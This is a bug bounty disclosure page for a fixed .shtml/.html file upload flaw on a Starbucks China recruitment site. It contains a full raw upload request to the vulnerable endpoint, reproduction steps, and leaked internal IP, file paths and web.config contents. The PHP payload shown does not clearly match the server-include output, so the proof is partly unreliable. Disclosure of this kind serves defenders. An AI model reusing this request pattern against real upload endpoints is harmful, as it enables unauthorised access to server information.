China - ecjobsdc.starbucks.com.cn html/shtml file upload vulnerability
An upload endpoint on a Starbucks recruitment site accepted files whose names ended in .html or .shtml, and the uploaded files were then served back in a browser. The reporter says this let them read the server's internal address, the application's physical path and the site's web.config configuration file.
b006e4ea768a5d1b5340969 Follow
Originally disclosed on HackerOne
- Triaged in 3 days
- Fixed in 26 days
- Disclosed after 16 months
Summary by the program
neweq discovered that ecjobsdc.starbucks.com.cn had a file upload vulnerability that permitted an attacker to upload html and shtml files which could then be accessed in a browser.
@neweq — thank you for reporting this vulnerability.
The report
1, Summary
During the test, I found ecjobsdc.starbucks.com.cn this site has an upload vulnerability, you can upload html and shtml format files, so you can read the server's intranet IP, the physical address of the website application and read the website web.config file. ###2, Vulnerability scope https://ecjobsdc.starbucks.com.cn ###3, proof of exploit
By modifying the suffix of filename, this address can be uploaded to upload html and shtml files, so that you can read the server's intranet IP, the physical address of the website application, and the configuration file of the website. Vulnerability certificate
POST /recruitjob/hxpublic_v6/hxinterface6.aspx?_hxcategory=hx_filebox_upload_file HTTP/1.1
Host: ecjobsdc.starbucks.com.cn
Connection: close
Content-Length: 234
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryevPInYidBxSvSd06
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
------WebKitFormBoundaryevPInYidBxSvSd06
Content-Disposition: form-data; name="hxwebfileboxcontrol_upload_file_inputbox"; filename="xxx.shtml"
Content-Type: text/html
<?php echo 1111;>
------WebKitFormBoundaryevPInYidBxSvSd06--
Successfully read the website's remoteaddr webpathinfo web.config file.
DOCUMENT_NAMED:\TrustHX\STBKSERM101\www_app\tempfiles\temp_uploaded_34afb246-02f1-4cb0-978d-15805c2a05c8.shtml
SERVER_SOFTWARE :Microsoft-IIS/8.5
SERVER_NAME :ecjobsdc.starbucks.com.cn
SERVER_PORT :80
REMOTE_ADDR:10.92.29.50
REMOTE_HOST:10.92.29.50
D:\TrustHX\STBKSERM101\www_app\tempfiles\temp_uploaded_34afb246-02f1-4cb0-978d-15805c2a05c8.shtml
PATH_INFO:/recruitjob/tempfiles/temp_uploaded_34afb246-02f1-4cb0-978d-15805c2a05c8.shtml
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
/recruitjob/tempfiles/temp_uploaded_34afb246-02f1-4cb0-978d-15805c2a05c8.shtml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<httpRedirect enabled="false" destination="https://ecjobs.starbucks.net" exactDestination="false" />
</system.webServer>
</configuration>


Impact
Phishing attack, remote file reading
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the upload handler only looked at the file name extension and did not restrict which extensions were allowed or stop uploaded files from being served as active content.
Impact
The reporter claims this could be used for phishing and remote file reading, though the text shows only server details and a configuration file being disclosed.
What the attacker needed
Access to the upload endpoint
How it was found
- Send a file upload request to the recruitment site's upload endpoint.
- Change the uploaded file's name so it ends in .shtml instead of a safe extension.
- Open the uploaded file's address in a browser to see the server details it reveals.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website let people upload files, and it did not check what kind of file it was. Because the uploaded file could be opened in a browser, the person uploading it could make the server show information about itself that visitors are not meant to see. This kind of mistake is called an unrestricted file upload.
What is File upload?
An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.